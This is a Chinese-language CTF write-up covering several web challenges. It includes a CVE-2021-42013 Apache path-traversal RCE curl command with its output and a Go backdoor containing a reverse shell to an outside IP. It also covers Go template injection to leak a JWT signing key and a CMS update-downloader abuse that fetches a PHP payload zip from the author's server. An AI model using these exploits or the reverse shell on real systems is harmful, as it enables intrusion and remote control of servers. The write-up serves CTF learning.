改cookie
admin:1
控制台有UA
加上去访问flag.txt即可
看apache版本是这个CVE-2021-42013
直接用payload的话找到的是假flag
发现也可以rce
| curl -v --data "echo;ls /" 'node4.buuoj.cn:25956/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32 |
| %65/bin/sh' |
| * Trying 117.21.200.166:25956... |
| * Connected to node4.buuoj.cn (117.21.200.166) port 25956 (#0) |
| > POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1 |
| > Host: node4.buuoj.cn:25956 |
| > User-Agent: curl/7.81.0 |
| > Accept: */* |
| > Content-Length: 9 |
| > Content-Type: application/x-www-form-urlencoded |
| > |
| * Mark bundle as not supporting multiuse |
| < HTTP/1.1 200 OK |
| < Date: Sat, 21 May 2022 12:26:03 GMT |
| < Server: Apache/2.4.50 (Unix) |
| < Transfer-Encoding: chunked |
| < |
| bin |
| boot |
| dev |
| diajgk |
| etc |
| flag |
| home |
| lib |
| lib64 |
| media |
| mnt |
| opt |
| proc |
| root |
| run |
| sbin |
| srv |
| sys |
| tmp |
| usr |
| var |
| * Connection #0 to host node4.buuoj.cn left intact |
这个目录很特别diajgk,去里面观察一下就有了
/diajgk/djflgak/qweqr/eigopl/fffffflalllallalagggggggggg
Go题做得少,但是看到文件上传大概是上传后门一类的,搜到一篇wp
https://annevi.cn/2020/08/14/wmctf2020-gogogo-writeup/#0x04_SSRF_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96
| package main |
| import ( |
| "os/exec" |
| ) |
| func Read(arg string) ([]byte, error) { |
| auth := arg[:7] |
| cmd := arg[7:] |
| if auth == "funnygo" { |
| c := exec.Command("bash", "-c", cmd) |
| output, err := c.CombinedOutput() |
| |
| re := exec.Command("bash", "-c", "cp /tmp/base.so plugins/base.so") |
| re.Run() |
| if err != nil { |
| return nil, err |
| } |
| return output, nil |
| } |
| return nil, nil |
| } |
| func Req(arg string) ([]byte, error){ |
| return nil, nil |
| } |
| // 伪造 cookie |
| package main |
| import ( |
| "github.com/gin-contrib/sessions" |
| "github.com/gin-contrib/sessions/cookie" |
| "github.com/gin-gonic/gin" |
| "math/rand" |
| ) |
| func main() { |
| r := gin.Default() |
| storage := cookie.NewStore(randomChar(16)) |
| r.Use(sessions.Sessions("o", storage)) |
| r.GET("/a",cookieHandler) |
| r.Run("0.0.0.0:8002") |
| } |
| func cookieHandler(c *gin.Context){ |
| s := sessions.Default(c) |
| s.Set("uname", "admin") |
| s.Save() |
| } |
| func randomChar(l int) []byte { |
| output := make([]byte, l) |
| rand.Read(output) |
| return output |
| } |
模仿里面的go后门写了一个
| package main |
| import ( |
| "os/exec" |
| ) |
| func main(arg string) ([]byte, error) { |
| |
| c := exec.Command("bash", "-c", cmd) |
| output, err := c.CombinedOutput() |
| //恢复 |
| re := exec.Command("bash", "-c", "bash -i >& /dev/tcp/8.129.42.140/3307 0>&1") |
| re.Run() |
| } |
以为可以了,但没想到回显Sorry there doesn't seem to be a exp.go.go file
这说明要传exp这个文件
传上去后好像不出网(也可能是我写错了)
重新构造了一个本地回显的exp1.go
| package main |
| |
| import ( |
| "fmt" |
| "os/exec" |
| ) |
| |
| func main() { |
| c := exec.Command("cat", "/flag") |
| ret, err := c.Output() |
| if err != nil { |
| fmt.Println(err) |
| } |
| fmt.Println(string(ret)) |
| } |
http://36e9592d-d35f-4e48-bc7b-d435f6c5f706.node4.buuoj.cn:81/shortcuts?alias=exp1
看到源码中有
| tpl, err := template.New("").Parse("Logged in as " + acc.id) |
template模板渲染函数,没有过滤,可以尝试go ssti
之后访问/auth获取token
| eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.1c8I_PzGiyonSZe3UPM2AB94x07g6DeyJW6uYA2C7eo |
访问/ post:id={{.}}&pw=1
获取密钥
放入在线网站进行伪造
之后修改token登录获得flag
比赛当时时间太短我没做出来,且思路也不对,我跑去官网下载最新版然后打开beyond试图通过比较以获取补丁,再推测漏洞,或许这种做法也可以但目前没有发现
参考DASCTF MAY出题人挑战赛 MISC,WEB官方wp-魔法少女雪殇 (snowywar.top)
据说烨神开赛一个小时就ak了,膜
访问网站,获取后台admin 用户admin 密码123456,认证码123456,(这个可以审计源码得到,也可以弱口令爆破,也可以参考这篇博客利用bug登录)进入后台,简单测了一下没啥奇怪的东西,接下来看看代码
直接给结论,在\ez\html\sys\apps\controllers\admin\Update.php
有个index方法,提供了下载文件的功能,其中大致逻辑如下
注意到sys_auth这个函数
| //字符加密、解密 |
| function sys_auth($string, $type = 0, $key = '', $expiry = 0) { |
| if(is_array($string)) $string = json_encode($string); |
| if($type == 1) $string = str_replace('-','+',$string); |
| $ckey_length = 4; |
| $key = md5($key ? $key : Mc_Encryption_Key); |
| $keya = md5(substr($key, 0, 16)); |
| $keyb = md5(substr($key, 16, 16)); |
| $keyc = $ckey_length ? ($type == 1 ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; |
| $cryptkey = $keya.md5($keya.$keyc); |
| $key_length = strlen($cryptkey); |
| $string = $type == 1 ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; |
| $string_length = strlen($string); |
| $result = ''; |
| $box = range(0, 255); |
| $rndkey = array(); |
| for($i = 0; $i <= 255; $i++) { |
| $rndkey[$i] = ord($cryptkey[$i % $key_length]); |
| } |
| for($j = $i = 0; $i < 256; $i++) { |
| $j = ($j + $box[$i] + $rndkey[$i]) % 256; |
| $tmp = $box[$i]; |
| $box[$i] = $box[$j]; |
| $box[$j] = $tmp; |
| } |
| for($a = $j = $i = 0; $i < $string_length; $i++) { |
| $a = ($a + 1) % 256; |
| $j = ($j + $box[$a]) % 256; |
| $tmp = $box[$a]; |
| $box[$a] = $box[$j]; |
| $box[$j] = $tmp; |
| $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); |
| } |
| if($type == 1) { |
| if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { |
| $result = substr($result, 26); |
| $json = json_decode($result,1); |
| if(!is_numeric($result) && $json){ |
| return $json; |
| }else{ |
| return $result; |
| } |
| } |
| return ''; |
| } |
| return str_replace('+', '-', $keyc.str_replace('=', '', base64_encode($result))); |
| } |
上面写着字符加密、解密,怀疑是与type0,1有关
结合index()代码,由于sys_auth的return的值直接作为后续请求所用的url,故此处应该为解密
本地尝试了一下(Mc_Encryption_Key跟进一下就可以找到)
测试demo
| <?php |
| define('Mc_Encryption_Key','GKwHuLj9AOhaxJ2'); |
| |
| $strings = 'http://192.168.28.175/a.zip'; |
| |
| echo($ss = sys_auth($strings)); |
| |
| echo "<br>"; |
| |
| echo(sys_auth($ss,1)); |
| |
| echo "<br>"; |
| |
| function sys_auth($string, $type = 0, $key = '', $expiry = 0) { |
| if(is_array($string)) $string = json_encode($string); |
| if($type == 1) $string = str_replace('-','+',$string); |
| $ckey_length = 4; |
| $key = md5($key ? $key : Mc_Encryption_Key); |
| $keya = md5(substr($key, 0, 16)); |
| $keyb = md5(substr($key, 16, 16)); |
| $keyc = $ckey_length ? ($type == 1 ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; |
| $cryptkey = $keya.md5($keya.$keyc); |
| $key_length = strlen($cryptkey); |
| $string = $type == 1 ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; |
| $string_length = strlen($string); |
| $result = ''; |
| $box = range(0, 255); |
| $rndkey = array(); |
| for($i = 0; $i <= 255; $i++) { |
| $rndkey[$i] = ord($cryptkey[$i % $key_length]); |
| } |
| for($j = $i = 0; $i < 256; $i++) { |
| $j = ($j + $box[$i] + $rndkey[$i]) % 256; |
| $tmp = $box[$i]; |
| $box[$i] = $box[$j]; |
| $box[$j] = $tmp; |
| } |
| for($a = $j = $i = 0; $i < $string_length; $i++) { |
| $a = ($a + 1) % 256; |
| $j = ($j + $box[$a]) % 256; |
| $tmp = $box[$a]; |
| $box[$a] = $box[$j]; |
| $box[$j] = $tmp; |
| $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); |
| } |
| if($type == 1) { |
| if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { |
| $result = substr($result, 26); |
| $json = json_decode($result,1); |
| if(!is_numeric($result) && $json){ |
| return $json; |
| }else{ |
| return $result; |
| } |
| } |
| return ''; |
| } |
| return str_replace('+', '-', $keyc.str_replace('=', '', base64_encode($result))); |
| } |

不难得出如下结论
所以我们可以写脚本利用了
压缩一个含phpinfo的php文件的zip
然后用上面测试demo得到我们的url=b468YsTOW7valHVFSttuxXG6A11dpgzNzfFPNjA1-yvDfoP9V8TIcZXsp-d1CsOblwmyob/MUxZfqllsxw
(此url加密结果不唯一)
来到update控制器下的index方法进行传参(参考tp的url模式)
| /admin.php/update/index?url=b468YsTOW7valHVFSttuxXG6A11dpgzNzfFPNjA1-yvDfoP9V8TIcZXsp-d1CsOblwmyob/MUxZfqllsxw |
然后vps上开启python http服务
是因为这个
| if($arr['Content-Type'] !== 'application/zip') $this->msg('压缩包不zip类型文件'); |
我本地尝试getheader,curl去请求,发现是请求不到的
最后跑的flask脚本(或者你使用nginx也可以,正汰大神亦是如此)
| from flask import Flask |
| from flask import send_from_directory |
| from flask import Flask,make_response |
| app = Flask(__name__) |
| |
| @app.route('/exp.zip', methods=['GET']) |
| def getLogFile(): |
| try: |
| r='' |
| response = make_response(r) |
| response.headers['Content-Type'] = 'application/zip' |
| |
| send_from_directory('','exp.zip') |
| return response |
| except Exception as e: |
| return str(e) |
| |
| app.run("0.0.0.0",2333) |
本地测试一下通过了,说明应该是没问题了,
等一个有情人自己上传到Vps上去吧
访问
| http://2fae786e-60d8-44c4-8a0f-3130c388374b.node4.buuoj.cn:81/exp/exp.php |